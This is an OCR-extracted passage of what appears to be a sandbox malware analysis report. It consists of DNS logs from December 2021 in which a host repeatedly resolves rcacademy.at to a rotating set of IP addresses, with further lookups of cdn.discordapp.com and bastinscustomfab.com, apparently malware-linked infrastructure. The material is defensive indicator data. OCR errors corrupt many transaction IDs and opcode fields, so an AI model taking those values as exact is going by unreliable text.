192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8
192.168.2.3 8.8.8.8

Trans ID
0x419b

0x5fod

0xf206

0xb729

0xc32¢c

Ox74ae

0x26¢8

0x7be6

0x7f08

Oxf2da

0x5b5a

0x9cOb

0x67d5

Oxde35

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
)

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
(0

Standard query
0

Standard query
0

Standard query
©

Standard query
0

Standard query
0

Characteristics

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

cdn.discor
dapp.com

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Dec 18, 2021 18:40:12.658528090 CET

Dec 18, 2021 18:40:14.079788923 CET

Dec 18, 2021 18:40:15.559792042 CET

Dec 18, 2021 18:40:17.410809040 CET

Dec 18, 2021 18:40:18.521812916 CET

Dec 18, 2021 18:40:19.731230974 CET

Dec 18, 2021 18:40:21.015258074 CET

Dec 18, 2021 18:40:22.343041897 CET

Dec 18, 2021 18:40:22.858858109 CET

Dec 18, 2021 18:40:24.076036930 CET

Dec 18, 2021 18:40:25.291812897 CET

Dec 18, 2021 18:40:26.440443993 CET

Dec 18, 2021 18:40:27.921475887 CET

Dec 18, 2021 18:40:29.106412888 CET

Dec 18, 2021 18:40:30.420806885 CET

Dec 18, 2021 18:40:31.642610073 CET

Dec 18, 2021 18:40:32.848397970 CET

Dec 18, 2021 18:40:36.137531996 CET

Dec 18, 2021 18:40:37.362819910 CET

Dec 18, 2021 18:40:38.327802896 CET

Dec 18, 2021 18:40:39.785054922 CET

Dec 18, 2021 18:40:40.623766899 CET

Dec 18, 2021 18:40:41.860878944 CET

Dec 18, 2021 18:40:42.706228971 CET

Dec 18, 2021 18:40:44.114845037 CET

Dec 18, 2021 18:40:44.849725008 CET

Dec 18, 2021 18:40:45.466048956 CET

Dec 18, 2021 18:40:48.612170935 CET

Dec 18, 2021 18:40:50.201952934 CET

Dec 18, 2021 18:40:51.384341002 CET

Dec 18, 2021 18:40:52.587714911 CET

Dec 18, 2021 18:40:53.490780115 CET

Dec 18, 2021 18:40:55.223164082 CET

Dec 18, 2021 18:40:56.685619116 CET

Dec 18, 2021 18:40:57.305982113 CET

Dec 18, 2021 18:40:58.544769049 CET

DNS Answers

Copyright Joe Security LLC 2021

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Trans ID

Ox7e7c

0x1542

0x7a53

0x63de

0x5f

0x95f9

0x3828

0x7dof

0x5e84

0x43aa

0x798a

Oxaflb

0x3184

0x77c

0x163

0x2eb3

0x6033

0xb605

ox2777

0x19c8

Oxdsff

0x5220

0x32a

0x8a29

0x915c¢

0xfc62

Oxcde7

0x5745

Ox3edf

0x803d

0x2c2

0xd2d5

0xc7bd

0xc8f7

0xbbd5

0x24eb

OP Code
Standard query
0

Standard query
(0

Standard query
0

Standard query
0

Standard query
(0

Standard query
(0)

Standard query
(0

Standard query
(0

Standard query
(0)

Standard query
(0)

Standard query
@

Standard query
(0)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
()

Standard query
)

Standard query
(©)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
O

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
(0

Name

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

bastinscus

tomfab.com

www.bastin

scustomfab.com

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

rcacademy.at

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x419b No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:51.193346977
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5f0d No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:52.157578945
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:53.772095919
CET
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Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xf206 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:53.772095919
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xb729 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:55.114911079
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32¢c No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32¢c No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0xc32c No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:55.823154926
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:57.029709101
CET
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Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x74ae No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Ox74ae No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:57.029709101
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26¢8 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26¢c8 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26c8 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26¢c8 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26c8 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26¢8 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26c8 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26c8 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26c8 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x26c8 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:57.670166969
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:39:59.368792057
CET
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Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7be6 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:39:59.368792057
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x7f08 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:00.607055902
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 Oxf2da No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:01.693521023
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:07.183568001
CET
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Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x5b5a No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:07.183568001
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9c0b No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9c0b No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9c0b No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9cOb No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9cOb No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9cOb No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9cOb No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9c0b No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9cOb No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x9cOb No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:08.076570034
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 110.14.121.125 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 196.200.111.5 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 148.101.92.159 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 189.129.153.38 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 186.74.208.84 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 211.171.233.127 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 211.169.6.249 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 187.156.124.76 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 86.122.134.195 A (IP address)  IN (0x0001)
18:40:09.283181906
CET

Dec 18, 2021 8.8.8.8 192.168.2.3 0x67d5 No error (0) rcacademy.at 176.44.122.100 A (IP address)  IN (0x0001)
18:40:09.283181906
CET
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Timestamp Source IP

Dec 18, 2021 8.8.8.8
18:40:10.756012917
CET

Dec 18, 2021 8.8.8.8
18:40:10.756012917
CET

Dec 18, 2021 8.8.8.8
18:40:10.756012917
CET

Dec 18, 2021 8.8.8.8
18:40:10.756012917
CET

Dec 18, 2021 8.8.8.8
18:40:10.756012917
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:12.737966061
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
18:40:14.098076105
CET

Dec 18, 2021 8.8.8.8
